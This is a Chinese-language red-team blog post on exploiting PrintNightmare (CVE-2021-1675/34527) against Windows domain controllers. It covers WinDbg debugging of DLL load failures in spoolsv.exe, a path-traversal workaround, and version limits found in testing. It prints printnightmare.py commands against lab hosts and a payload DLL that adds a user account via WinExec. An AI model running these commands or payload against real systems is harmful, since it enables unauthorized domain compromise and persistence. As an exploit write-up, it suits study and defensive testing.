一、前言
PrintNightmare这个打域控的漏洞利用中遇到很多坑,从dll加载失败,再到权限校验失败一步一步debug深入分析解决。虽然坑多,但是毕竟能够打域。
二、本地测试
通过使用管理员账号测试远程加载dll发现失败了,但是确实发现系统上dll上传了
于是再将dll指向本地,发现了如下报错。
三、为什么加载dll失败了
然后使用Promonitor进行监控,到底怎么报了其他程序占用dll文件,从而导致文件无法被加载的问题。
问题就出现在这个调用栈,
于是windbg进行直接附加
通过u命令反汇编对应的字节码,寻找到上一个call,bp下断点。
u 0x7ffdee15092b-10 0x7ffdee15092b+10
打断点捕获到MoveFileExW函数在移动C:WindowsSystem32spooldriversx643x643.dll,
https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-movefileexw
然后rax返回0,表示失败了。
通过查询资料得知,MoveFileExW移动文件的的要求:
一个文件在打开时使用了 FILE_SHARE_DELETE 标志,MoveFileExW 函数可以移动或重命名该文件,即使文件已经被另一个进程打开。
四、spoolsv.exe如何加载dll的?
通过procmonitor发现在前面确实已经对C:WindowsSystem32spooldriversx643x643.dll进行了CreateFile了,而且重复CreateFile,我们来看下是如何打开文件的?
还是同样直接下断点打开
发现CreateFile第三个参数的值为1,也就是dwShareMode为1,是以共享读方式FILE_SHARE_READ打开,而非FILE_SHARE_WRITE模式打开。
https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea
后面再使用MoveFileExW就会报错了。
五、如何解决?
即然这个C:WindowsSystem32spooldriversx643x643.dll会被多次打开,使用其他位置是不是好多了,因为毕竟可以可以加载本地dll
python3 printnightmare.py -dll 'C:Windowssystem32spoolDRIVERSx64x64.dll' 'god.org/administrator:[email protected]'
于是我将文件名改成如下
python3 printnightmare.py -dll '\192.168.3.101smb../x643.dll' 'god.org/administrator:[email protected]'
成功目录穿越了,然后我们直接本地加载dll即可,这样不会重复使用
C:WindowsSystem32spooldriversx643x643.dll这个文件,能够成功加载。
C:WindowsSystem32spooldriversx643x643.dll,两次creatfile均被打开后,然后close,最后createfile就load iamge成功了
六、真实环境模拟又遇到坑
![域安全-PrintNightmare打域控漏洞的一次艰难利用 域安全-PrintNightmare打域控漏洞的一次艰难利用]()
15
还是会报告:
Error: code: 0x5 - rpc_s_access_denied
根据漏洞文章,localspl.dll SpllAddPrinterDriverEx函数的关键位置:
第7个参数和第4个参数进行运算,有机会为0,不会进入ValidateObjectAccess校验。
win2012直接写死,也就是无法利用了,直接为第7个参数(固定为1)结果直接为true,会进行ValidateObjectAccess校验
windbg调试也确实如此
确实写死
一开始也是看公告以及博客都写着影响2012,但是我测试的却是不影响,坑了我很多时间。
https://nvd.nist.gov/vuln/detail/CVE-2021-1675
https://nvd.nist.gov/vuln/detail/CVE-2021-34527
笔者在2019复测成功,为了避免大家复现踩坑,这里给出我复现使用的镜像。
Caption
Microsoft Windows Server 2019 Essentials
Version
10.0.17763
下载地址:
ed2k://|file|cn_windows_server_2019_essentials_x64_dvd_5b386b0b.iso|4836911104|CBA4E3F0C66107AD6B64E4DA077D004F|/
localspl.dll
直接成功
python3 printnightmare.py -dll '\192.168.3.101smbx643.dll' 'rootkit.org/lufei:[email protected]'
// dllmain.cpp :定义 DLL 应用程序的入口点。
#include "pch.h"
#include "Windows.h"
#include <stdio.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
WinExec("net user lufei XXXXXXXXXXX. /add", SW_SHOW);
return TRUE;
}
七、总结
实践下来,这个漏洞限制条件还是比较多的,不过还是可以试试,也可以用来作为横向移动的手法。
纸上得来终觉浅 绝知此事要躬行~
社群:加我lufeirider微信进群。
知识星球:目前聚焦红蓝对抗和反入侵以及AI落地。
往期历史文章
原文始发于微信公众号(lufeisec):域安全-PrintNightmare打域控漏洞的一次艰难利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论